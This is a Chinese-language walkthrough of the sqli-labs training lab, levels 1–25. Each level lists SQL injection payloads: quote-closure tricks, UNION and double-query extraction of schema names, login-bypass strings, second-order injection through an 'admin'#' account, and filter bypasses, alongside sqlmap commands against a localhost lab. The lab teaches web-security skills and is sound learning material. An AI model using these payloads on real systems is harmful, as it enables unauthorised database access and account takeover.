sqli-lab通关全解析(Less1-Less25)(上)
字数 1668 2025-08-26 22:11:51

SQL注入实战:sqli-lab通关全解析(Less1-Less25)

前言

本教学文档详细解析sqli-lab前25关的SQL注入技术,涵盖基于报错的注入、盲注、HTTP头注入、Cookie注入等多种注入方式,并提供手工注入和sqlmap自动化工具两种解决方案。

基础注入类型

Less1:单引号闭合的GET报错注入

  • 注入类型:GET请求,基于报错,单引号闭合
  • 手工注入
    • 闭合方式:?id=1' --+
    • 示例:?id=1' union select 1,2,database() --+
  • sqlmap命令
    python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch
    

Less2:数字型注入

  • 注入类型:GET请求,基于报错,数字型
  • 手工注入
    • 直接构造:?id=1 union select 1,2,database()
  • sqlmap命令
    python sqlmap.py -u "http://127.0.0.1/sqli/Less-2/?id=1" --dbs --batch
    

Less3:括号+单引号闭合

  • 注入类型:GET请求,基于报错,括号+单引号闭合
  • 手工注入
    • 闭合方式:?id=1') --+
  • sqlmap命令
    python sqlmap.py -u "http://127.0.0.1/sqli/Less-3/?id=1" --dbs --batch
    

Less4:双引号闭合

  • 注入类型:GET请求,基于报错,双引号闭合
  • 手工注入
    • 闭合方式:?id=1" --+
  • sqlmap命令
    python sqlmap.py -u "http://127.0.0.1/sqli/Less-4/?id=1" --dbs --batch
    

盲注技术

Less5:双注入报错查询

  • 注入类型:单引号闭合,基于时间/布尔盲注
  • 手工注入
    ?id=1' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
    
  • sqlmap命令
    python sqlmap.py -u "http://127.0.0.1/sqli/Less-5/?id=1" --dbs --batch
    

Less6:双引号闭合的双注入

  • 注入类型:双引号闭合,与Less5类似
  • sqlmap命令
    python sqlmap.py -u "http://127.0.0.1/sqli/Less-6/?id=1" --dbs --batch
    

Less8:布尔盲注

  • 注入类型:布尔盲注
  • sqlmap命令
    python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --dbs --technique B --batch
    

Less9:时间盲注

  • 注入类型:时间盲注,单引号闭合
  • sqlmap命令
    python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --dbs --technique T --batch
    

Less10:双引号闭合的时间盲注

  • 注入类型:双引号闭合的时间盲注
  • sqlmap命令
    python sqlmap.py -u "http://127.0.0.1/sqli/Less-10/?id=1" --dbs --technique T --batch
    

POST型注入

Less11:POST单引号闭合

  • 手工注入
    • 万能密码:'or '1'='1
  • sqlmap命令
    python sqlmap.py -r target.txt --technique E --dbms mysql --batch
    

Less12:POST双引号+括号闭合

  • 手工注入
    • 万能密码:") or 1=1 #
  • sqlmap命令
    python sqlmap.py -r target.txt --technique E --dbms mysql --batch
    

Less13:POST单引号+括号闭合

  • 手工注入
    • 万能密码:') or 1=1 #
  • sqlmap命令
    python sqlmap.py -r target.txt --technique E --dbms mysql --batch
    

Less14:POST双引号闭合

  • 手工注入
    • 万能密码:"or 1=1 #
  • sqlmap命令
    python sqlmap.py -r target.txt --technique E --dbms mysql --batch
    

Less15:无报错的POST盲注

  • sqlmap命令
    python sqlmap.py -u "http://127.0.0.1/sqli/Less-15" --data "uname=admin&passwd=123456&submit=Submit" --dbs
    

HTTP头注入

Less18:User-Agent注入

  • 注入点:User-Agent头,单引号闭合
  • sqlmap命令
    python sqlmap.py -r target.txt --technique E --dbs --batch
    

Less19:Referer注入

  • 注入点:Referer头
  • sqlmap命令
    python sqlmap.py -r target.txt --technique E --dbs --batch
    

Cookie注入

Less20:Cookie注入

  • 注入点:Cookie中的uname参数
  • sqlmap命令
    python sqlmap.py -r target.txt --technique E --dbs --level 3 --batch
    

Less21:Base64编码的Cookie注入

  • 特点:Cookie值经过Base64编码
  • 手工注入
    • 需要将payload进行Base64编码
  • sqlmap命令
    python sqlmap.py -r target.txt --technique E --dbs --level 3 --batch
    

特殊注入技术

Less23:过滤注释符的注入

  • 特点:过滤了--+#
  • 手工注入
    • 闭合方式:?id=1' or '1'='1
  • sqlmap命令
    python sqlmap.py -u "http://127.0.0.1/sqli/Less-23/?id=1" --dbs
    

Less24:二次注入

  • 攻击方式
    1. 注册用户:admin'#,密码123456
    2. 登录后修改密码
    3. 实际修改的是admin的密码

Less25:过滤OR/AND的注入

  • 绕过方法
    • 使用&&代替and||代替or
    • 双写+大小写:Oorr代替orAandnD代替and
  • sqlmap命令
    python sqlmap.py -u "url" --hex --dbs
    

总结

本教学文档详细介绍了sqli-lab前25关的各种SQL注入技术,包括:

  1. 不同闭合方式的注入(单引号、双引号、括号等)
  2. 盲注技术(布尔盲注、时间盲注)
  3. POST型注入
  4. HTTP头注入(User-Agent、Referer)
  5. Cookie注入
  6. 特殊注入技术(二次注入、过滤绕过)

对于每种注入类型,都提供了手工注入方法和sqlmap自动化工具的使用方式,学习者可以根据实际情况选择合适的方法进行测试。

SQL注入实战:sqli-lab通关全解析(Less1-Less25) 前言 本教学文档详细解析sqli-lab前25关的SQL注入技术,涵盖基于报错的注入、盲注、HTTP头注入、Cookie注入等多种注入方式,并提供手工注入和sqlmap自动化工具两种解决方案。 基础注入类型 Less1:单引号闭合的GET报错注入 注入类型 :GET请求,基于报错,单引号闭合 手工注入 : 闭合方式: ?id=1' --+ 示例: ?id=1' union select 1,2,database() --+ sqlmap命令 : Less2:数字型注入 注入类型 :GET请求,基于报错,数字型 手工注入 : 直接构造: ?id=1 union select 1,2,database() sqlmap命令 : Less3:括号+单引号闭合 注入类型 :GET请求,基于报错,括号+单引号闭合 手工注入 : 闭合方式: ?id=1') --+ sqlmap命令 : Less4:双引号闭合 注入类型 :GET请求,基于报错,双引号闭合 手工注入 : 闭合方式: ?id=1" --+ sqlmap命令 : 盲注技术 Less5:双注入报错查询 注入类型 :单引号闭合,基于时间/布尔盲注 手工注入 : sqlmap命令 : Less6:双引号闭合的双注入 注入类型 :双引号闭合,与Less5类似 sqlmap命令 : Less8:布尔盲注 注入类型 :布尔盲注 sqlmap命令 : Less9:时间盲注 注入类型 :时间盲注,单引号闭合 sqlmap命令 : Less10:双引号闭合的时间盲注 注入类型 :双引号闭合的时间盲注 sqlmap命令 : POST型注入 Less11:POST单引号闭合 手工注入 : 万能密码: 'or '1'='1 sqlmap命令 : Less12:POST双引号+括号闭合 手工注入 : 万能密码: ") or 1=1 # sqlmap命令 : Less13:POST单引号+括号闭合 手工注入 : 万能密码: ') or 1=1 # sqlmap命令 : Less14:POST双引号闭合 手工注入 : 万能密码: "or 1=1 # sqlmap命令 : Less15:无报错的POST盲注 sqlmap命令 : HTTP头注入 Less18:User-Agent注入 注入点 :User-Agent头,单引号闭合 sqlmap命令 : Less19:Referer注入 注入点 :Referer头 sqlmap命令 : Cookie注入 Less20:Cookie注入 注入点 :Cookie中的uname参数 sqlmap命令 : Less21:Base64编码的Cookie注入 特点 :Cookie值经过Base64编码 手工注入 : 需要将payload进行Base64编码 sqlmap命令 : 特殊注入技术 Less23:过滤注释符的注入 特点 :过滤了 --+ 和 # 手工注入 : 闭合方式: ?id=1' or '1'='1 sqlmap命令 : Less24:二次注入 攻击方式 : 注册用户: admin'# ,密码123456 登录后修改密码 实际修改的是admin的密码 Less25:过滤OR/AND的注入 绕过方法 : 使用 && 代替 and , || 代替 or 双写+大小写: Oorr 代替 or , AandnD 代替 and sqlmap命令 : 总结 本教学文档详细介绍了sqli-lab前25关的各种SQL注入技术,包括: 不同闭合方式的注入(单引号、双引号、括号等) 盲注技术(布尔盲注、时间盲注) POST型注入 HTTP头注入(User-Agent、Referer) Cookie注入 特殊注入技术(二次注入、过滤绕过) 对于每种注入类型,都提供了手工注入方法和sqlmap自动化工具的使用方式,学习者可以根据实际情况选择合适的方法进行测试。